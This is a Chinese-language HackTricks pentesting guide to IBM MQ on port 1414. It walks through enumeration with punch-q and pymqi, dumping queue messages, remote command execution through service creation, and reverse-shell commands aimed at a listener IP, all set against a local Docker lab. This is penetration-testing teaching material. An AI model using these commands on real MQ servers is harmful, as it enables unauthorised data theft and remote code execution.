> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/1414-pentesting-ibmmq.md).

# 1414 - Pentesting IBM MQ

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？您想在HackTricks中看到您的**公司广告**吗？或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)。
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)。
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**]\(<https://discord.gg/hRep4RUj7f>) **或**[**电报群**](https://t.me/peass) **或在Twitter上关注**我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

## 基本信息

IBM MQ是IBM的一项技术，用于管理消息队列。与其他**消息代理**技术一样，它专门用于在生产者和消费者之间接收、存储、处理和分类信息。

默认情况下，**它会暴露IBM MQ TCP端口1414**。 有时，HTTP REST API也可以在端口**9443**上暴露。 指标（Prometheus）也可以通过TCP端口**9157**访问。

IBM MQ TCP端口1414可用于操纵消息、队列、通道等，**也可用于控制实例**。

IBM提供了大量的技术文档，可在<https://www.ibm.com/docs/en/ibm-mq>上找到。

## 工具

一个建议的用于简单利用的工具是\*\*[punch-q](https://github.com/sensepost/punch-q)\*\*，使用Docker。该工具积极使用Python库`pymqi`。

对于更手动的方法，使用Python库\*\*[pymqi](https://github.com/dsuch/pymqi)\*\*。需要[IBM MQ依赖项](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere\&product=ibm/WebSphere/WebSphere+MQ\&release=9.0.0.4\&platform=All\&function=fixId\&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA)。

### 安装pymqi

需要安装和加载**IBM MQ依赖项**：

1. 在<https://login.ibm.com/>上创建一个帐户（IBMid）。
2. 从<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA>下载IBM MQ库。对于Linux x86\_64，使用**9.0.0.4-IBM-MQC-LinuxX64.tar.gz**。
3. 解压缩（`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`）。
4. 运行`sudo ./mqlicense.sh`接受许可条款。

> 如果您使用Kali Linux，请修改文件`mqlicense.sh`：删除/注释以下行（在105-110行之间）：
>
> ```bash
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
>  then
>    echo "ERROR: This package is incompatible with this system"
>    echo "       This package was built for ${BUILD_PLATFORM}"
>    exit 1
> fi
> ```

5. 安装这些软件包：

```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```

6. 然后，临时将`.so`文件添加到LD中：`export LD_LIBRARY_PATH=/opt/mqm/lib64`，**在**运行其他使用这些依赖项的工具之前。

然后，您可以克隆项目[pymqi](https://github.com/dsuch/pymqi)：它包含有趣的代码片段、常量，... 或者您可以直接安装该库：`pip install pymqi`。

### 使用punch-q

#### 使用Docker

只需运行：`sudo docker run --rm -ti leonjza/punch-q`。

#### 不使用Docker

克隆项目[punch-q](https://github.com/sensepost/punch-q)，然后按照自述文件进行安装（`pip install -r requirements.txt && python3 setup.py install`）。

安装完成后，可以使用`punch-q`命令。

## 枚举

您可以尝试使用**punch-q**或**pymqi**来枚举**队列管理器名称、用户、通道和队列**。

### 队列管理器

有时，获取队列管理器名称时没有任何保护措施：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```

### 通道

**punch-q** 使用内部（可修改的）单词列表来查找现有通道。使用示例：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```

一些 IBM MQ 实例接受**未经身份验证**的 MQ 请求，因此不需要 `--username / --password`。当然，访问权限也可能有所不同。

一旦我们获得一个通道名称（这里是：`DEV.ADMIN.SVRCONN`），我们就可以枚举所有其他通道。

基本上可以使用 **pymqi** 中的这段代码片段 `code/examples/dis_channels.py` 来进行枚举：

```python
import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

```

...但**punch-q**也嵌入了该部分（附带更多信息！）。 可以使用以下方式启动：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |
```

### 队列

有一个使用 **pymqi** 的代码片段 (`dis_queues.py`)，但 **punch-q** 允许检索有关队列的更多信息：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated
```

## 漏洞利用

### 转储消息

您可以针对队列/通道进行定位，以便从中嗅探/转储消息（非破坏性操作）。*示例：*

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```

**不要犹豫，对所有识别的队列进行迭代。**

### 代码执行

> 在继续之前，有一些细节：IBM MQ可以通过多种方式进行控制：MQSC、PCF、控制命令。一些常见列表可以在[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)中找到。 [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats)（***可编程命令格式***）是我们专注于与实例远程交互的内容。**punch-q**和**pymqi**都基于PCF交互。
>
> 您可以找到PCF命令列表：
>
> * [来自PCF文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats)，以及
> * [来自常量](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
>
> 一个有趣的命令是`MQCMD_CREATE_SERVICE`，其文档可在[此处](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)找到。它以`StartCommand`作为参数，指向实例上的本地程序（例如：`/bin/sh`）。
>
> 文档中还对该命令进行了警告：“注意：此命令允许用户以mqm权限运行任意命令。如果授予使用此命令的权限，恶意或粗心的用户可能定义一个损坏您系统或数据的服务，例如通过删除必要文件。”
>
> *注意：始终根据IBM MQ文档（管理参考）的说法，还有一个HTTP端点位于`/admin/action/qmgr/{qmgrName}/mqsc`，用于运行相应的MQSC命令以创建服务（`DEFINE SERVICE`）。这方面目前尚未在此处涵盖。*

使用**punch-q**可以通过PCF进行远程程序执行的服务创建/删除：

**示例1**

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```

> 在 IBM MQ 的日志中，您可以看到命令已成功执行：
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```

您还可以枚举机器上现有的程序（这里 `/bin/doesnotexist` ... 不存在）：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```

**请注意，程序启动是异步的。因此，您需要第二个项目来利用漏洞** ***(反向shell的监听器，不同服务上的文件创建，通过网络进行数据外泄...)***

**示例2**

为了简单地获取反向shell，**punch-q** 还提供了两种反向shell有效载荷：

* 一个使用bash
* 一个使用perl

*当然，您也可以使用 `execute` 命令构建自定义的有效载荷。*

对于bash：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```

对于perl：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```

### 自定义 PCF

您可以深入研究 IBM MQ 文档，并直接使用 **pymqi** Python 库来测试 **punch-q** 中未实现的特定 PCF 命令。

**示例：**

```python
import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

```

如果找不到常量名称，可以参考[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)。

> *例如*[*`MQCMD_REFRESH_CLUSTER`*](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)*（十进制 = 73）的示例。它需要参数`MQCA_CLUSTER_NAME`（十进制 = 2029），可以是`*`（文档：）：*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
>     args = {2029: "*"}
>     response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
>     print("Error")
> else:
>     print(response)
>
> qmgr.disconnect()
> ```

## 测试环境

如果要测试IBM MQ的行为和漏洞，可以基于Docker设置本地环境：

1. 在ibm.com和cloud.ibm.com上拥有账户。
2. 使用以下步骤创建一个容器化的IBM MQ：

```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```

默认情况下，身份验证已启用，用户名为 `admin`，密码为 `passw0rd`（环境变量 `MQ_ADMIN_PASSWORD`）。 在这里，队列管理器名称已设置为 `MYQUEUEMGR`（变量 `MQ_QMGR_NAME`）。

您应该已经启动并运行IBM MQ，并暴露了其端口：

```bash
❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq
```

> IBM MQ的旧版本Docker镜像位于: <https://hub.docker.com/r/ibmcom/mq/>.

## 参考资料

* [mgeeky的要点 - "实用IBM MQ渗透测试笔记"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq)
